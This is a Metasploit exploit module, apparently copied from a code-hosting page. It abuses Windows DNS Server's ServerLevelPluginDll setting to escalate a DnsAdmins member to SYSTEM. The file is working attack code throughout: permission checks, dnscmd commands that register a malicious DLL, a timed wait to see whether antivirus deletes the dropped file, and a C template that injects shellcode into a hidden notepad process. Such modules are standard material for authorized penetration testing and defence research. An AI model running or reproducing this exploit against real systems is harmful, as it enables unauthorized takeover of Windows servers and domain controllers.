410 lines
15 KiB
Ruby
410 lines
15 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'metasploit/framework/compiler/windows'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Services
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
|
|
`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
|
|
named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service
|
|
will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended
|
|
when using a UNC path.
|
|
|
|
Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,
|
|
the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and
|
|
users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus
|
|
after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the
|
|
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the target computer may point to an nonexistant DLL,
|
|
which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for
|
|
this module for advice on how to resolve this issue should it occur.
|
|
|
|
This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
|
|
Server version up to and including Windows Server 2019.
|
|
},
|
|
'References' => [
|
|
['URL', 'https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83'],
|
|
['URL', 'https://adsecurity.org/?p=4064'],
|
|
['URL', 'http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html']
|
|
],
|
|
'DisclosureDate' => '2017-05-08',
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Shay Ber', # vulnerability discovery
|
|
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' => [[ 'Automatic', {} ]],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'DefaultOptions' => {
|
|
'WfsDelay' => 20,
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SERVICE_DOWN], # The service can go down if AV picks up on the file at an
|
|
# non-optimal time or if the UNC path is typed in wrong.
|
|
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_fs_delete_file
|
|
stdapi_sys_config_getsid
|
|
stdapi_sys_config_getuid
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('DLLNAME', [ true, 'DLL name (default: msf.dll)', 'msf.dll']),
|
|
OptString.new('DLLPATH', [ true, 'Path to DLL. Can be a UNC path. (default: %TEMP%)', '%TEMP%']),
|
|
OptBool.new('MAKEDLL', [ true, 'Just create the DLL, do not exploit.', false]),
|
|
OptInt.new('AVTIMEOUT', [true, 'Time to wait for AV to potentially notice the DLL file we dropped, in seconds.', 60])
|
|
]
|
|
)
|
|
|
|
deregister_options('FILE_CONTENTS')
|
|
end
|
|
|
|
def check
|
|
version = get_version_info
|
|
if version.windows_server?
|
|
vprint_good('OS seems vulnerable.')
|
|
else
|
|
vprint_error('OS is not vulnerable!')
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
username = client.sys.config.getuid
|
|
user_sid = client.sys.config.getsid
|
|
hostname = sysinfo['Computer']
|
|
vprint_status("Running check against #{hostname} as user #{username}...")
|
|
|
|
srv_info = service_info('DNS')
|
|
if srv_info.nil?
|
|
vprint_error('Unable to enumerate the DNS service!')
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
if srv_info && srv_info[:display].empty?
|
|
vprint_error('The DNS service does not exist on this host!')
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
# for use during permission check
|
|
if srv_info[:dacl].nil?
|
|
vprint_error('Unable to determine permissions on the DNS service!')
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)
|
|
|
|
vprint_good("DNS service found on #{hostname}.")
|
|
|
|
# user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll
|
|
group_membership = get_whoami
|
|
unless group_membership
|
|
vprint_error('Unable to enumerate group membership!')
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
unless group_membership.include? 'DnsAdmins'
|
|
vprint_error("User #{username} is not part of the DnsAdmins group!")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
# find the DnsAdmins group SID
|
|
dnsadmin_sid = ''
|
|
group_membership.each_line do |line|
|
|
unless line.include? 'DnsAdmins'
|
|
next
|
|
end
|
|
|
|
vprint_good("User #{username} is part of the DnsAdmins group.")
|
|
line.split.each do |item|
|
|
unless item.include? 'S-'
|
|
next
|
|
end
|
|
|
|
vprint_status("DnsAdmins SID is #{item}")
|
|
dnsadmin_sid = item
|
|
break
|
|
end
|
|
break
|
|
end
|
|
|
|
# check if the user or DnsAdmins group has the proper permissions to start/stop the DNS service
|
|
if dacl_items.any? { |dacl_item| dacl_item[0].include? dnsadmin_sid }
|
|
dnsadmin_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? dnsadmin_sid }[0]
|
|
if dnsadmin_dacl.include? 'RPWP'
|
|
vprint_good('Members of the DnsAdmins group can start/stop the DNS service.')
|
|
end
|
|
elsif dacl_items.any? { |dacl_item| dacl_item[0].include? user_sid }
|
|
user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0]
|
|
if user_dacl.include? 'RPWP'
|
|
vprint_good("User #{username} can start/stop the DNS service.")
|
|
end
|
|
else
|
|
vprint_error("User #{username} does not have permissions to start/stop the DNS service!")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
def exploit
|
|
# get system architecture
|
|
arch = sysinfo['Architecture']
|
|
if arch != payload_instance.arch.first
|
|
fail_with(Failure::BadConfig, 'Wrong payload architecture!')
|
|
end
|
|
|
|
# no exploit, just create the DLL
|
|
if datastore['MAKEDLL'] == true
|
|
# copypasta from lib/msf/core/exploit/fileformat.rb
|
|
# writes the generated DLL to ~/.msf4/local/
|
|
dllname = datastore['DLLNAME']
|
|
full_path = store_local('dll', nil, make_serverlevelplugindll(arch), dllname)
|
|
print_good("#{dllname} stored at #{full_path}")
|
|
return
|
|
end
|
|
|
|
# will exploit
|
|
if is_system?
|
|
fail_with(Failure::BadConfig, 'Session is already elevated!')
|
|
end
|
|
|
|
unless [CheckCode::Vulnerable].include? check
|
|
fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
|
|
end
|
|
|
|
# if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll
|
|
print_status('Checking service state...')
|
|
svc_state = service_status('DNS')
|
|
unless svc_state[:state] == 4
|
|
print_status('DNS service is stopped, starting it...')
|
|
service_start('DNS')
|
|
end
|
|
|
|
# the service must be started before proceeding
|
|
total_wait_time = 0
|
|
loop do
|
|
svc_state = service_status('DNS')
|
|
if svc_state[:state] == 4
|
|
sleep 1
|
|
break
|
|
else
|
|
sleep 2
|
|
total_wait_time += 2
|
|
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
|
|
end
|
|
end
|
|
|
|
# the if block assumes several things:
|
|
# 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet
|
|
# 2. operator has generated their own DLL with the correct payload and architecture
|
|
# 3. operator's SMB share is accessible from the target. "Enable insecure guest logons" is "Enabled" on the target or
|
|
# the target falls back to SMB1
|
|
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
|
|
if datastore['DLLPATH'].start_with?('\\\\')
|
|
|
|
# Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
|
|
build_num_raw = session.shell_command_token('cmd.exe /c ver')
|
|
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
|
|
if build_num.nil?
|
|
print_error("Couldn't retrieve the target's build number!")
|
|
return
|
|
else
|
|
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
|
|
vprint_status("Target's build number: #{build_num}")
|
|
end
|
|
|
|
build_num_gemversion = Rex::Version.new(build_num)
|
|
|
|
# If the target is running Windows 10 or Windows Server versions with a
|
|
# build number of 16299 or later, aka v1709 or later, then we need to check
|
|
# if "Enable insecure guest logons" is enabled on the target system as per
|
|
# https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser
|
|
if (build_num_gemversion >= Rex::Version.new('10.0.16299.0'))
|
|
# check if "Enable insecure guest logons" is enabled on the target system
|
|
allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth')
|
|
unless allow_insecure_guest_auth == 1
|
|
fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!")
|
|
end
|
|
end
|
|
print_status('Using user-provided UNC path.')
|
|
else
|
|
write_file(dllpath, make_serverlevelplugindll(arch))
|
|
print_good("Wrote DLL to #{dllpath}!")
|
|
print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...")
|
|
sleep(datastore['AVTIMEOUT'])
|
|
unless file_exist?(dllpath.to_s)
|
|
print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...')
|
|
return
|
|
end
|
|
print_good("Looks like our file wasn't caught by the AV.")
|
|
end
|
|
|
|
print_warning('Entering danger section...')
|
|
|
|
print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...")
|
|
dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip
|
|
unless dnscmd_result.include? 'success'
|
|
fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0])
|
|
end
|
|
|
|
print_good(dnscmd_result.split("\n")[0])
|
|
|
|
# restart the DNS service
|
|
print_status('Restarting the DNS service...')
|
|
restart_service
|
|
end
|
|
|
|
def on_new_session(session)
|
|
if datastore['DLLPATH'].start_with?('\\\\')
|
|
return
|
|
else
|
|
if session.type == ('meterpreter') && !session.ext.aliases.include?('stdapi')
|
|
session.core.use('stdapi')
|
|
end
|
|
|
|
vprint_status('Erasing ServerLevelPluginDll registry value...')
|
|
cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll")
|
|
print_good('Exited danger zone successfully!')
|
|
|
|
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
|
|
restart_service('session' => session, 'dllpath' => dllpath)
|
|
end
|
|
end
|
|
|
|
def restart_service(opts = {})
|
|
# for deleting the DLL
|
|
if opts['session'] && opts['dllpath']
|
|
session = opts['session']
|
|
dllpath = opts['dllpath']
|
|
end
|
|
|
|
service_stop('DNS')
|
|
# see if the service has really been stopped
|
|
total_wait_time = 0
|
|
loop do
|
|
svc_state = service_status('DNS')
|
|
if svc_state[:state] == 1
|
|
sleep 1
|
|
break
|
|
else
|
|
sleep 2
|
|
total_wait_time += 2
|
|
fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90
|
|
end
|
|
end
|
|
|
|
# clean up the dropped DLL
|
|
if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\')
|
|
vprint_status("Removing #{dllpath}...")
|
|
session.fs.file.rm dllpath
|
|
end
|
|
|
|
service_start('DNS')
|
|
# see if the service has really been started
|
|
total_wait_time = 0
|
|
loop do
|
|
svc_state = service_status('DNS')
|
|
if svc_state[:state] == 4
|
|
sleep 1
|
|
break
|
|
else
|
|
sleep 2
|
|
total_wait_time += 2
|
|
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
|
|
end
|
|
end
|
|
end
|
|
|
|
def make_serverlevelplugindll(arch)
|
|
# generate the payload
|
|
payload = generate_payload
|
|
# the C template for the ServerLevelPluginDll DLL
|
|
c_template = %|
|
|
#include <Windows.h>
|
|
#include <stdlib.h>
|
|
#include <String.h>
|
|
|
|
BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
|
|
switch (dwReason) {
|
|
case DLL_PROCESS_ATTACH:
|
|
case DLL_THREAD_ATTACH:
|
|
case DLL_THREAD_DETACH:
|
|
case DLL_PROCESS_DETACH:
|
|
break;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
int DnsPluginCleanup __attribute__((export))(void) { return 0; }
|
|
int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }
|
|
int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) {
|
|
STARTUPINFO startup_info;
|
|
PROCESS_INFORMATION process_info;
|
|
char throwaway_buffer[8];
|
|
|
|
ZeroMemory(&startup_info, sizeof(startup_info));
|
|
startup_info.cb = sizeof(STARTUPINFO);
|
|
startup_info.dwFlags = STARTF_USESHOWWINDOW;
|
|
startup_info.wShowWindow = 0;
|
|
|
|
if (CreateProcess(NULL, "C:\\\\Windows\\\\System32\\\\notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) {
|
|
HANDLE processHandle;
|
|
HANDLE remoteThread;
|
|
PVOID remoteBuffer;
|
|
|
|
unsigned char shellcode[] = "SHELLCODE_PLACEHOLDER";
|
|
|
|
processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId);
|
|
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE);
|
|
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
|
|
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
|
|
|
|
CloseHandle(process_info.hThread);
|
|
CloseHandle(processHandle);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
c_template.gsub!('SHELLCODE_PLACEHOLDER', Rex::Text.to_hex(payload.raw).to_s)
|
|
|
|
cpu = nil
|
|
case arch
|
|
when 'x86'
|
|
cpu = Metasm::Ia32.new
|
|
when 'x64'
|
|
cpu = Metasm::X86_64.new
|
|
else
|
|
fail_with(Failure::NoTarget, 'Target arch is not compatible')
|
|
end
|
|
|
|
print_status('Building DLL...')
|
|
Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)
|
|
end
|
|
end
|